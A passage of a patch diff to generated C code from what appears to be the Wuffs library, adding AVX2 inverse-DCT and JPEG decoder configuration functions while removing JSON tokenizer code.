v_sp_rb26ad); -+ v_sp_rd01eh = _mm256_add_epi32(v_sp_rcpmeh, v_sp_rb26eh); -+ v_sp_rd32ad = _mm256_sub_epi32(v_sp_rcpmad, v_sp_rb26ad); -+ v_sp_rd32eh = _mm256_sub_epi32(v_sp_rcpmeh, v_sp_rb26eh); -+ v_sp_sums7351 = _mm256_add_epi16(v_intermediatehf, v_intermediatedb); -+ v_sp_sums5173 = _mm256_permute2x128_si256(v_sp_sums7351, v_sp_sums7351, (int32_t)(1u)); -+ v_sp_ri73515173ad = _mm256_unpacklo_epi16(v_sp_sums7351, v_sp_sums5173); -+ v_sp_ri73515173eh = _mm256_unpackhi_epi16(v_sp_sums7351, v_sp_sums5173); -+ v_sp_rl7351ad = _mm256_madd_epi16(v_sp_ri73515173ad, v_k_E6DC_25A1_1925_25A1); -+ v_sp_rl7351eh = _mm256_madd_epi16(v_sp_ri73515173eh, v_k_E6DC_25A1_1925_25A1); -+ v_sp_cols13 = _mm256_permute2x128_si256(v_intermediatedb, v_intermediatedb, (int32_t)(1u)); -+ v_sp_bq7153ad = _mm256_unpacklo_epi16(v_intermediatehf, v_sp_cols13); -+ v_sp_bq7153eh = _mm256_unpackhi_epi16(v_intermediatehf, v_sp_cols13); -+ v_sp_rk75ad = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351ad); -+ v_sp_rk75eh = _mm256_add_epi32(_mm256_madd_epi16(v_sp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_sp_rl7351eh); -+ v_sp_rl5173ad = _mm256_permute2x128_si256(v_sp_rl7351ad, v_sp_rl7351ad, (int32_t)(1u)); -+ v_sp_rl5173eh = _mm256_permute2x128_si256(v_sp_rl7351eh, v_sp_rl7351eh, (int32_t)(1u)); -+ v_sp_rk13ad = _mm256_add_epi32(v_sp_rl5173ad, _mm256_madd_epi16(v_sp_bq7153ad, v_k_E333_133E_ADFD_1051)); -+ v_sp_rk13eh = _mm256_add_epi32(v_sp_rl5173eh, _mm256_madd_epi16(v_sp_bq7153eh, v_k_E333_133E_ADFD_1051)); -+ v_final01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); -+ v_final01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); -+ v_final01 = _mm256_packs_epi32(v_final01ad, v_final01eh); -+ v_final32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); -+ v_final32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); -+ v_final32 = _mm256_packs_epi32(v_final32ad, v_final32eh); -+ v_final45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); -+ v_final45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); -+ v_final45 = _mm256_packs_epi32(v_final45ad, v_final45eh); -+ v_final76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); -+ v_final76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); -+ v_final76 = _mm256_packs_epi32(v_final76ad, v_final76eh); -+ v_fta0a1e0e1 = _mm256_permute4x64_epi64(v_final01, (int32_t)(216u)); -+ v_fta2a3e2e3 = _mm256_permute4x64_epi64(v_final32, (int32_t)(114u)); -+ v_fta4a5e4e5 = _mm256_permute4x64_epi64(v_final45, (int32_t)(216u)); -+ v_fta6a7e6e7 = _mm256_permute4x64_epi64(v_final76, (int32_t)(114u)); -+ v_fta0c0e0g0 = _mm256_unpacklo_epi16(v_fta0a1e0e1, v_fta2a3e2e3); -+ v_fta1c1e1g1 = _mm256_unpackhi_epi16(v_fta0a1e0e1, v_fta2a3e2e3); -+ v_fta4c4e4g4 = _mm256_unpacklo_epi16(v_fta4a5e4e5, v_fta6a7e6e7); -+ v_fta5c5e5g5 = _mm256_unpackhi_epi16(v_fta4a5e4e5, v_fta6a7e6e7); -+ v_fta0b0e0f0 = _mm256_unpacklo_epi16(v_fta0c0e0g0, v_fta1c1e1g1); -+ v_ftc0d0g0h0 = _mm256_unpackhi_epi16(v_fta0c0e0g0, v_fta1c1e1g1); -+ v_fta4b4e4f4 = _mm256_unpacklo_epi16(v_fta4c4e4g4, v_fta5c5e5g5); -+ v_ftc4d4g4h4 = _mm256_unpackhi_epi16(v_fta4c4e4g4, v_fta5c5e5g5); -+ v_finalae = _mm256_unpacklo_epi64(v_fta0b0e0f0, v_fta4b4e4f4); -+ v_finalbf = _mm256_unpackhi_epi64(v_fta0b0e0f0, v_fta4b4e4f4); -+ v_finalcg = _mm256_unpacklo_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); -+ v_finaldh = _mm256_unpackhi_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); -+ v_final0145 = _mm256_add_epi8(_mm256_packs_epi16(v_finalae, v_finalbf), v_k_8080); -+ v_final2367 = _mm256_add_epi8(_mm256_packs_epi16(v_finalcg, v_finaldh), v_k_8080); -+ v_final0 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(0u)))); -+ v_final1 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(1u)))); -+ v_final2 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(0u)))); -+ v_final3 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(1u)))); -+ v_final4 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(2u)))); -+ v_final5 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(3u)))); -+ v_final6 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(2u)))); -+ v_final7 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(3u)))); -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final0); -+ a_dst_buffer = v_remaining; -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final1); -+ a_dst_buffer = v_remaining; -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final2); -+ a_dst_buffer = v_remaining; -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final3); -+ a_dst_buffer = v_remaining; -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final4); -+ a_dst_buffer = v_remaining; -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final5); -+ a_dst_buffer = v_remaining; -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); -+ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final6); -+ a_dst_buffer = v_remaining; -+ if (8u > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final7); -+ return wuffs_base__make_empty_struct(); -+} -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 -+ -+// -------- func jpeg.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_jpeg__decoder__get_quirk( -+ const wuffs_jpeg__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if (a_key == 2u) { -+ if (self->private_impl.f_use_lower_quality) { -+ return 18446744073709551615u; -+ } -+ } else if (a_key == 1220532224u) { -+ if (self->private_impl.f_reject_progressive_jpegs) { -+ return 1u; -+ } -+ } -+ return 0u; -+} -+ -+// -------- func jpeg.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_jpeg__decoder__set_quirk( -+ wuffs_jpeg__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ if (a_key == 2u) { -+ self->private_impl.f_use_lower_quality = (a_value >= 9223372036854775808u); -+ return wuffs_base__make_status(NULL); -+ } else if (a_key == 1220532224u) { -+ self->private_impl.f_reject_progressive_jpegs = (a_value != 0u); -+ return wuffs_base__make_status(NULL); -+ } -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func jpeg.decoder.decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_jpeg__decoder__decode_image_config( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_image_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_image_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func jpeg.decoder.do_decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_jpeg__decoder__do_decode_image_config( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint8_t v_marker = 0; -+ uint32_t v_pixfmt = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; -+ if (coro_susp_point) { -+ v_marker = self->private_data.s_do_decode_image_config.v_marker; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ if (v_c8 != 255u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (v_c8 != 216u) { -+ status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); -+ goto exit; - } -- v_expect = 7858u; -- label__outer__continue:; - while (true) { - while (true) { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- goto label__outer__continue; -- } -- v_whitespace_length = 0u; -- v_c = 0u; -- v_class = 0u; -- while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (v_whitespace_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_whitespace_length = 0u; -- } -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -- } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -- goto label__outer__continue; -- } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- v_class = WUFFS_JSON__LUT_CLASSES[v_c]; -- if (v_class != 0u) { -- break; -- } -- iop_a_src += 1u; -- if (v_whitespace_length >= 65534u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(65535u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_whitespace_length = 0u; -- goto label__outer__continue; -+ goto suspend; - } -- v_whitespace_length += 1u; -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; - } -- if (v_whitespace_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_whitespace_length = 0u; -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- goto label__outer__continue; -+ if (v_c8 == 255u) { -+ break; -+ } -+ } -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; - } -- if (0u == (v_expect & (((uint32_t)(1u)) << v_class))) { -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -+ if (v_c8 != 255u) { -+ v_marker = v_c8; -+ break; - } -- if (v_class == 1u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 1u; -- label__string_loop_outer__continue:; -- while (true) { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -- continue; -- } -- v_string_length = 0u; -+ } -+ if (v_marker == 0u) { -+ continue; -+ } else if ((208u <= v_marker) && (v_marker <= 217u)) { -+ if (v_marker <= 215u) { -+ continue; -+ } -+ } else { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ uint32_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_4 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); - while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (v_string_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- } -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -- } -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -- goto label__string_loop_outer__continue; -+ goto suspend; - } -- while (((uint64_t)(io2_a_src - iop_a_src)) > 4u) { -- v_c4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- if (0u != (WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 0u))] | -- WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 8u))] | -- WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 16u))] | -- WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 24u))])) { -- break; -- } -- iop_a_src += 4u; -- if (v_string_length > 65527u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- goto label__string_loop_outer__continue; -- } -- v_string_length += 4u; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); -+ if (num_bits_4 == 8) { -+ t_4 = ((uint32_t)(*scratch >> 48)); -+ break; - } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- v_char = WUFFS_JSON__LUT_CHARS[v_c]; -- if (v_char == 0u) { -- iop_a_src += 1u; -- if (v_string_length >= 65531u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(65532u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- goto label__string_loop_outer__continue; -- } -- v_string_length += 1u; -- continue; -- } else if (v_char == 1u) { -- if (v_string_length != 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- } -- goto label__string_loop_outer__break; -- } else if (v_char == 2u) { -- if (v_string_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- v_string_length = 0u; -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- goto label__string_loop_outer__continue; -- } -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -- goto label__string_loop_outer__continue; -- } -- v_c = ((uint8_t)((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u))); -- v_backslash = WUFFS_JSON__LUT_BACKSLASHES[v_c]; -- if ((v_backslash & 128u) != 0u) { -- iop_a_src += 2u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((6291456u | ((uint32_t)((v_backslash & 127u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__string_loop_outer__continue; -- } else if (v_backslash != 0u) { -- if (self->private_impl.f_quirks[WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[(v_backslash & 7u)]]) { -- iop_a_src += 2u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((6291456u | ((uint32_t)(WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[(v_backslash & 7u)]))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__string_loop_outer__continue; -- } -- } else if (v_c == 117u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -- goto label__string_loop_outer__continue; -- } -- v_uni4_string = (((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))) >> 16u); -- v_uni4_value = 0u; -- v_uni4_ok = 128u; -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; -- v_uni4_ok &= v_c; -- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 12u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; -- v_uni4_ok &= v_c; -- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 8u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; -- v_uni4_ok &= v_c; -- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 4u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; -- v_uni4_ok &= v_c; -- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 0u); -- if (v_uni4_ok == 0u) { -- } else if ((v_uni4_value < 55296u) || (57343u < v_uni4_value)) { -- iop_a_src += 6u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((6291456u | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__string_loop_outer__continue; -- } else if (v_uni4_value >= 56320u) { -- } else { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 12u) { -- if (a_src && a_src->meta.closed) { -- if (self->private_impl.f_quirks[20u]) { -- iop_a_src += 6u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__string_loop_outer__continue; -- } -- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -- goto label__string_loop_outer__continue; -- } -- v_uni4_string = (wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 4u) >> 16u); -- if (((255u & (v_uni4_string >> 0u)) != 92u) || ((255u & (v_uni4_string >> 8u)) != 117u)) { -- v_uni4_high_surrogate = 0u; -- v_uni4_value = 0u; -- v_uni4_ok = 0u; -- } else { -- v_uni4_high_surrogate = (65536u + ((v_uni4_value - 55296u) << 10u)); -- v_uni4_value = 0u; -- v_uni4_ok = 128u; -- v_uni4_string >>= 16u; -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; -- v_uni4_ok &= v_c; -- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 12u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; -- v_uni4_ok &= v_c; -- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 8u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; -- v_uni4_ok &= v_c; -- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 4u); -- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; -- v_uni4_ok &= v_c; -- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 0u); -- } -- if ((v_uni4_ok != 0u) && (56320u <= v_uni4_value) && (v_uni4_value <= 57343u)) { -- v_uni4_value -= 56320u; -- iop_a_src += 12u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((6291456u | v_uni4_high_surrogate | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(12u)) << 